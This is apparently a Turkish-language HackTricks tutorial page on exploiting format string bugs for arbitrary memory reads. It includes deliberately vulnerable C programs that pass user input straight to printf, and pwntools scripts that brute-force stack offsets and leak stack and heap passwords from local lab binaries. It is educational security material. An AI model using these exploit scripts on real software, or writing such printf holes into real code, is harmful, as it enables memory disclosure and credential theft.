Format Strings - Arbitrary Read Example

AWS Hacking'i öğrenin ve uygulayın: HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE) GCP Hacking'i öğrenin ve uygulayın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)

HackTricks'i Destekleyin

İkili Okumaya Başla

Kod

#include <stdio.h>

int main(void) {
char buffer[30];

fgets(buffer, sizeof(buffer), stdin);

printf(buffer);
return 0;
}

Derleyin:

clang -o fs-read fs-read.c -Wno-format-security -no-pie

Sızma

from pwn import *

p = process('./fs-read')

payload = f"%11$s|||||".encode()
payload += p64(0x00400000)

p.sendline(payload)
log.info(p.clean())
  • Ofset 11'dir çünkü birkaç As ayarlayarak ve bir döngü ile 0'dan 50'ye kadar ofsetleri brute-force ederek, ofset 11'de ve 5 ekstra karakterle (bizim durumumuzda borular |) tam bir adresi kontrol etmek mümkündür.

  • Adresin tamamı 0x4141414141414141 olduğunda %11$p'yi kullanarak dolgu ekledim.

  • Format dizesi yükü, adresin ÖNCESİNDE olmalıdır çünkü printf, bir null bayta kadar okuma yapmayı durdurur, bu yüzden adresi gönderir ve ardından format dizesini gönderirsek, printf asla format dizesine ulaşmayacak çünkü bir null bayt bulunacaktır.

  • Seçilen adres 0x00400000'dir çünkü bu, ikili dosyanın başladığı yerdir (PIE yok)

#include <stdio.h>
#include <string.h>

char bss_password[20] = "hardcodedPassBSS"; // Password in BSS

int main() {
char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20];

printf("Enter first password: ");
scanf("%19s", input1);

printf("Enter second password: ");
scanf("%19s", input2);

// Vulnerable printf
printf(input1);
printf("\n");

// Check both passwords
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n");
} else {
printf("Access Denied.\n");
}

return 0;
}

Derleyin:

clang -o fs-read fs-read.c -Wno-format-security

Stack'ten okuma

stack_password yerel bir değişken olduğundan dolayı stack'te saklanacaktır, bu yüzden sadece printf'i kötüye kullanarak stack'in içeriğini göstermek yeterli olacaktır. Bu, yığının içerisindeki şifreleri sızdırmak için ilk 100 pozisyonu sızdırmak için bir saldırıdır:

from pwn import *

for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()

Resimde, şifrenin yığın içinde 10. konumdan sızdırılabileceği görülebilir:

Veri Okuma

Aynı saldırıyı çalıştırarak ancak %s yerine %p kullanarak yığından bir yığın adresi sızdırmak mümkündür ve bu %25$p konumunda gerçekleşir. Dahası, sızdırılan adresi (0xaaaab7030894) o işlemde bellekte şifrenin konumuyla karşılaştırarak adres farkını elde edebiliriz:

Şimdi yığında bir adresi kontrol etmek ve ikinci format dizesi güvenlik açığından erişmek için nasıl kontrol edileceğini bulma zamanı:

from pwn import *

def leak_heap(p):
p.sendlineafter(b"first password:", b"%5$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)

for i in range(30):
p = process("./fs-read")

heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")

password_addr = heap_leak_addr - 0x126a

print(f"Try: {i}")
payload = f"%{i}$p|||".encode()
payload += b"AAAAAAAA"

p.sendline(payload)
output = p.clean()
print(output.decode("utf-8"))
p.close()

Ve try 14'te kullanılan geçişle bir adresi kontrol edebileceğimizi görmek mümkündür:

Sızma

from pwn import *

p = process("./fs-read")

def leak_heap(p):
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)

heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")

# Offset calculated from the leaked position to the possition of the pass in memory
password_addr = heap_leak_addr + 0x1f7bc

print(f"Calculated address is: {hex(password_addr)}")

# At offset 14 we can control the addres, so use %s to read the string from that address
payload = f"%14$s|||".encode()
payload += p64(password_addr)

p.sendline(payload)
output = p.clean()
print(output)
p.close()
HackTricks'i Destekleyin

Last updated